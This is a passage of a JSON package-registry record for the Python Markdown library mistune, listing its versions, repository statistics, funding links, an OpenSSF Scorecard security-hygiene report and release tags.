{"id":2803289,"name":"mistune","ecosystem":"pypi","description":"A sane and fast Markdown parser with useful plugins and renderers","homepage":null,"licenses":"BSD-3-Clause","normalized_licenses":["BSD-3-Clause"],"repository_url":"https://github.com/lepture/mistune","keywords_array":[],"namespace":null,"versions_count":57,"first_release_published_at":"2014-02-26T03:19:08.000Z","latest_release_published_at":"2026-10-19T10:44:26.000Z","latest_release_number":"3.4.0","latest_published_release_number":"3.4.0","last_synced_at":"2026-11-17T09:02:10.099Z","created_at":"2022-04-10T11:36:52.095Z","updated_at":"2026-11-17T09:02:11.686Z","registry_url":"https://pypi.org/project/mistune/","install_command":"pip install mistune --index-url https://pypi.org/simple","documentation_url":"https://mistune.lepture.com/","metadata":{"funding":"https://github.com/sponsors/lepture","documentation":"https://mistune.lepture.com/","classifiers":["Development Status :: 4 - Beta","Environment :: Console","Environment :: Web Environment","Intended Audience :: Developers","License :: OSI Approved :: BSD License","Operating System :: OS Independent","Programming Language :: Python","Programming Language :: Python :: 3","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: 3.15","Programming Language :: Python :: Implementation :: CPython","Programming Language :: Python :: Implementation :: PyPy","Topic :: Text Processing :: Markup"],"normalized_name":"mistune","project_status":null},"repo_metadata":{"id":14237580,"uuid":"16944764","full_name":"lepture/mistune","owner":"lepture","description":"A fast yet powerful Python Markdown parser with renderers and plugins, fully CommonMark compliant.","archived":false,"fork":false,"pushed_at":"2026-10-23T16:14:01.000Z","size":1800,"stargazers_count":3084,"open_issues_count":64,"forks_count":350,"subscribers_count":38,"default_branch":"main","last_synced_at":"2026-11-15T01:23:26.442Z","etag":null,"topics":["markdown"],"latest_commit_sha":null,"homepage":"http://mistune.lepture.com/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/lepture.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":".github/SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["lepture"],"patreon":"lepture","open_collective":null,"ko_fi":null,"tidelift":"pypi/mistune","custom":"https://lepture.com/donate"}},"created_at":"2014-02-18T10:13:04.000Z","updated_at":"2026-11-11T09:32:24.000Z","dependencies_parsed_at":"2026-10-31T17:43:41.716Z","dependency_job_id":null,"html_url":"https://github.com/lepture/mistune","commit_stats":{"total_commits":640,"total_committers":46,"mean_commits":13.91304347826087,"dds":0.109375,"last_synced_commit":"0772c78bc0a62771768278263ef740345f58c0f0"},"previous_names":[],"tags_count":57,"template":false,"template_full_name":null,"purl":"pkg:github/lepture/mistune","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/lepture","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/sbom","scorecard":{"id":585477,"data":{"date":"2025-08-18","repo":{"name":"github.com/lepture/mistune","commit":"e8d0a030ce2dd8e7a034fcf61c5f6a29ff677fdf"},"scorecard":{"version":"v5.2.1-41-g40576783","commit":"40576783fda6698350fcbbeaea760ff827433034"},"score":4,"checks":[{"name":"Code-Review","score":2,"reason":"Found 6/25 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: topLevel 'contents' permission set to 'write': .github/workflows/pypi.yml:4","Warn: no topLevel permission defined: .github/workflows/tests.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#binary-artifacts"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/lepture/mistune/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/lepture/mistune/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/lepture/mistune/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/lepture/mistune/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:51: update your workflow using https://app.stepsecurity.io/secureworkflow/lepture/mistune/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:59: update your workflow using https://app.stepsecurity.io/secureworkflow/lepture/mistune/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/lepture/mistune/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/lepture/mistune/tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/lepture/mistune/tests.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/tests.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/lepture/mistune/tests.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:26","Warn: pipCommand not pinned by hash: .github/workflows/tests.yml:34","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   2 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: BSD 3-Clause \"New\" or \"Revised\" License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#license"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi.yml:36"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#packaging"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 11 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/40576783fda6698350fcbbeaea760ff827433034/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-20T20:23:18.960Z","repository_id":14237580,"created_at":"2025-08-20T20:23:18.960Z","updated_at":"2025-08-20T20:23:18.960Z"},"funding_links":["https://github.com/sponsors/lepture","https://patreon.com/lepture","https://tidelift.com/funding/github/pypi/mistune","https://lepture.com/donate"],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":349647599,"owners_count":38625025,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-11-03T11:36:44.738Z","status":"online","status_checked_at":"2026-11-14T02:00:05.697Z","response_time":50,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"lepture","name":"Hsiaoming Yang","uuid":"290496","kind":"user","description":"Creator of @authlib and @typlog ","email":"","website":"https://lepture.com","location":"Japan","twitter":"lepture","company":"@hsiaoming ","icon_url":"https://avatars.githubusercontent.com/u/290496?v=4","repositories_count":200,"last_synced_at":"2026-11-11T10:34:15.798Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/lepture","funding_links":["https://github.com/sponsors/lepture"],"total_stars":14836,"followers":8833,"following":83,"created_at":"2022-11-02T16:23:25.851Z","updated_at":"2026-11-11T10:34:15.812Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/lepture","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/lepture/repositories"},"tags":[{"name":"v3.4.0","sha":"f19057fdf339affb61ca63c7fe28df7a951ec588","kind":"commit","published_at":"2026-10-19T10:41:01.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.4.0","html_url":"https://github.com/lepture/mistune/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.4.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.4.0"},{"name":"v3.3.4","sha":"69ec2b8a6d5b37ecb3c56d96df4b40b9d3004657","kind":"commit","published_at":"2026-07-22T04:57:02.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.3.4","html_url":"https://github.com/lepture/mistune/releases/tag/v3.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.3.4/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.3.4"},{"name":"v3.3.3","sha":"060f73ac87e8cf6d9e9b48f2df28c0654d845a4c","kind":"commit","published_at":"2026-07-09T06:16:11.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.3.3","html_url":"https://github.com/lepture/mistune/releases/tag/v3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.3.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.3.3"},{"name":"v3.3.2","sha":"90b1a733f0b0a8ac9bc653d8c7bec135c881fb81","kind":"commit","published_at":"2026-06-23T00:28:20.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.3.2","html_url":"https://github.com/lepture/mistune/releases/tag/v3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.3.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.3.2"},{"name":"v3.3.1","sha":"36de47ce769006b66009939851a330c7a760054e","kind":"commit","published_at":"2026-06-22T01:21:39.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.3.1","html_url":"https://github.com/lepture/mistune/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.3.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.3.1"},{"name":"v2.1.0","sha":"10b19b7ed717dfb1c6e7ebedb9c1a12684b87a23","kind":"commit","published_at":"2026-06-21T13:17:57.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v2.1.0","html_url":"https://github.com/lepture/mistune/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v2.1.0"},{"name":"v3.3.0","sha":"15c3b79325125272263d7d42492ec8f757447191","kind":"commit","published_at":"2026-06-21T13:10:26.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.3.0","html_url":"https://github.com/lepture/mistune/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.3.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.3.0"},{"name":"v3.2.1","sha":"067f90861088a496942f5eb43236135352b85d39","kind":"commit","published_at":"2026-05-03T14:30:25.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.2.1","html_url":"https://github.com/lepture/mistune/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.2.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.2.1"},{"name":"v3.2.0","sha":"df23edd60b43b639d2e6760ef9dd3d618aa11c21","kind":"commit","published_at":"2025-12-23T11:28:42.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.2.0","html_url":"https://github.com/lepture/mistune/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.2.0"},{"name":"v3.1.4","sha":"b6d83e82cfa781285d77ab4f719b18b9559603b5","kind":"commit","published_at":"2025-08-29T07:19:20.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.1.4","html_url":"https://github.com/lepture/mistune/releases/tag/v3.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.1.4/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.1.4"},{"name":"v3.1.3","sha":"45e4de61b8897fe5b0458d5ebe3d3cc7bde408d2","kind":"commit","published_at":"2025-03-19T14:26:24.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.1.3","html_url":"https://github.com/lepture/mistune/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.1.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.1.3"},{"name":"v3.1.2","sha":"253dc767a7274d5d316170416c5029b05ca66f85","kind":"commit","published_at":"2025-02-19T03:40:27.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.1.2","html_url":"https://github.com/lepture/mistune/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.1.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.1.2"},{"name":"v3.1.1","sha":"9058e0ddb4d34dab43e18d71db3af8038f74b65f","kind":"commit","published_at":"2025-01-28T13:31:19.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.1.1","html_url":"https://github.com/lepture/mistune/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.1.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.1.1"},{"name":"v3.1.0","sha":"177a0ceefd23a8ebc7f7efb5c89c0be8023ae3bf","kind":"commit","published_at":"2024-12-30T02:06:06.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.1.0","html_url":"https://github.com/lepture/mistune/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.1.0"},{"name":"v3.0.2","sha":"f997c86335d8a5d8435aac08b66ed3cba9381b51","kind":"commit","published_at":"2023-09-29T23:57:10.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.0.2","html_url":"https://github.com/lepture/mistune/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.0.2"},{"name":"v3.0.1","sha":"7f6bd7c16baf61d63dabc3f5ac123ba150e834d3","kind":"commit","published_at":"2023-06-09T23:53:43.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.0.1","html_url":"https://github.com/lepture/mistune/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.0.1"},{"name":"v3.0.0","sha":"4222ee11c119fc8b308c6f8137f35a394e08065b","kind":"commit","published_at":"2023-06-08T08:47:55.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.0.0","html_url":"https://github.com/lepture/mistune/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.0.0"},{"name":"v3.0.0rc5","sha":"8a75e568e3861e3818d520ac812ca03036f3ca11","kind":"commit","published_at":"2023-03-22T13:02:12.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.0.0rc5","html_url":"https://github.com/lepture/mistune/releases/tag/v3.0.0rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.0.0rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0rc5/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v3.0.0rc5"},{"name":"v2.0.5","sha":"cb580e89e67ef9b4827daf43afd2058bdf5e58d2","kind":"commit","published_at":"2023-02-07T05:42:19.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v2.0.5","html_url":"https://github.com/lepture/mistune/releases/tag/v2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v2.0.5/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/releases/v2.0.5"},{"name":"v3.0.0rc4","sha":"ed91259ad3a3d0ac4d2936d721bf2f855ba45f99","kind":"commit","published_at":"2022-11-30T08:46:49.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.0.0rc4","html_url":"https://github.com/lepture/mistune/releases/tag/v3.0.0rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.0.0rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0rc4/manifests","release_url":null},{"name":"v3.0.0rc3","sha":"6c43c5031c599abd8ad8f42c906633f5e859e9f0","kind":"commit","published_at":"2022-11-25T12:15:36.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.0.0rc3","html_url":"https://github.com/lepture/mistune/releases/tag/v3.0.0rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.0.0rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0rc3/manifests","release_url":null},{"name":"v3.0.0rc2","sha":"507a3bf38cbb5dfad42cb664a93bacddeac02010","kind":"commit","published_at":"2022-11-06T06:57:00.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.0.0rc2","html_url":"https://github.com/lepture/mistune/releases/tag/v3.0.0rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.0.0rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0rc2/manifests","release_url":null},{"name":"v3.0.0rc1","sha":"f9258fc5769b560a9f2c8f15ee2d72cd32a1cd31","kind":"commit","published_at":"2022-09-26T11:42:48.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v3.0.0rc1","html_url":"https://github.com/lepture/mistune/releases/tag/v3.0.0rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v3.0.0rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/tags/v3.0.0rc1/manifests","release_url":null},{"name":"v2.0.4","sha":"b92a5febd4da3d7097a3d2b8d7cac6f5d57ea20c","kind":"commit","published_at":"2022-07-14T23:26:55.000Z","download_url":"https://codeload.github.com/lepture/mistune/tar.gz/v2.0.4","html_url":"https://github.com/lepture/mistune/releases/tag/v2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/lepture/mistune@v2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/